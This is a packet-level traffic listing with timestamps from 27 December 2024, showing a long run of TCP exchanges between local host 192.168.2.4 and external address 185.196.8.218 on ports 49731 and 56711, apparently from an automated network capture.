Dec 27, 2024 09:09:12.006721020 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.006839037 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.007664919 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.007718086 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.007759094 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.007759094 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.008479118 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.008591890 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.008780956 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.009334087 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.009417057 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.009479046 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.010234118 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.010332108 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.011038065 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.011102915 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.011142015 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.011290073 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.011941910 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.012064934 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.012708902 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.012744904 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.012881041 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.013648987 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.013729095 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.013762951 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.013762951 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.014503002 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.014599085 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.014893055 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.015368938 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.015466928 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.016269922 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.016330957 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.016351938 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.016381025 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.017168045 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.017241001 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.017951012 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.018018007 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.018079996 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.018155098 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.018922091 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.018997908 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.019727945 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.020016909 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.145978928 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.175720930 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.175740004 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.175842047 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.175862074 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.176007032 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.176095009 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.176759005 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.176870108 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.176986933 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.177592993 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.177706003 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.177762032 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.178459883 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.178575039 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.178622007 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.179333925 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.179435015 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.179500103 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.180263042 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.180309057 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.180367947 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.181055069 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.181149006 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.181279898 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.181885958 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.182001114 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.182074070 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.182826996 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.182940960 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.182992935 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.183644056 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.183736086 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.183784008 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.184485912 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.184565067 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.184618950 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.185380936 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.185442924 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.185548067 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.266087055 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.266125917 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.266191006 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.266436100 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.266520977 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.266613960 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.267328024 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.267452002 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.267518044 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.268146038 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.268268108 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.268321037 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.269011974 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.269126892 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.269186020 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.269898891 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.269984007 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.270045042 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.270711899 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.270862103 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.270998955 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.271603107 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.271645069 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.271800995 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.272491932 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.272599936 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.272650957 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.273314953 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.273442030 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.273494005 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.274172068 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.274292946 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.274374008 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.275053024 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.275163889 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.275223970 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.275890112 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.275989056 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.276077986 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.276774883 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.276896000 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.276957035 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.277683973 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.277749062 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.277826071 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.278522015 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.278656960 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.278708935 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.279450893 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.279577017 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.279705048 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.280219078 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.280364990 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.280417919 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.281076908 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.281217098 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.281332016 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.281914949 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.282041073 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.282104969 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.282824993 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.283015013 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.283087969 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.283657074 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.283787966 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.283864021 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.284552097 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.284697056 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.284802914 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.285429001 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.285528898 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.285650015 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.286233902 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.286417007 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.286463976 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.287113905 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.287199020 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.287245035 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.288014889 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.288103104 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.288181067 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.288829088 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.288963079 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.289027929 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.289690018 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.289781094 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.289865971 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.290587902 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.290724039 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.290772915 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.291426897 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.291527033 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.291574001 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.292292118 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.292398930 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.292449951 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.293162107 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.293258905 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.293628931 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.294013023 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.294075966 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.294250965 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.294894934 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.294939041 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.295030117 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.295718908 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.295854092 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.295898914 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.296613932 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.296726942 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.296792030 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.297457933 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.297579050 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.297631979 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.298468113 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.298588037 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.298661947 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.299205065 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.299367905 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.299506903 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.300056934 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.300160885 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.300219059 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.377180099 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.377238989 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.377300024 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.377528906 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.377597094 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.377662897 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.378396034 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.378500938 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.378628016 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.379256010 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.379409075 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.379460096 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.380131960 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.380237103 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.380278111 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.381011009 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.381120920 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.381248951 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.381856918 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.382002115 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.382055044 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.382705927 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.382867098 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.382929087 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.383562088 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.383672953 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.383738995 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.384423018 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.384555101 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.384605885 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.385313034 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.385409117 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.385483027 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.386147022 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.386311054 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.386369944 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.387056112 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.387152910 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.387208939 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.387872934 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.387996912 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.388046026 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.388773918 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.388957977 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.389014006 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.389589071 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.389712095 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.389806032 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.390463114 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.390587091 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.390718937 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.391334057 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.391438961 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.391613007 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.392191887 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.392318964 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.392380953 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.393049002 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.393142939 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.393203020 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.393889904 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.394020081 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.394074917 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.394798040 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.394917965 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.394969940 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.395628929 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.395658016 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.395776987 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.396469116 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.396593094 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.396641016 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.397371054 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.397540092 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.397593975 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.398247004 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.398344994 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.398405075 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.399105072 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.399243116 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.399297953 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.399947882 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.400016069 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.400065899 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.400808096 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.400932074 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.400990009 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.401671886 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.401767015 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.401829958 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.402539968 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.402648926 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.402699947 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.403413057 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.403523922 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.403594971 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.404284000 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.404356003 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.404412985 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.405118942 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.405210018 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.405261040 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.405993938 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.406073093 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.406122923 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.406889915 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.406965971 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.407058001 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.407798052 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.407849073 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.407922029 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.408595085 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.408724070 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.408808947 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.409439087 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.409543991 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.409599066 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.410343885 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.410480022 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.410531998 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.411149025 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.411268950 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.411346912 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.412005901 CET	56711	49731	185.196.8.218	192.168.2.4
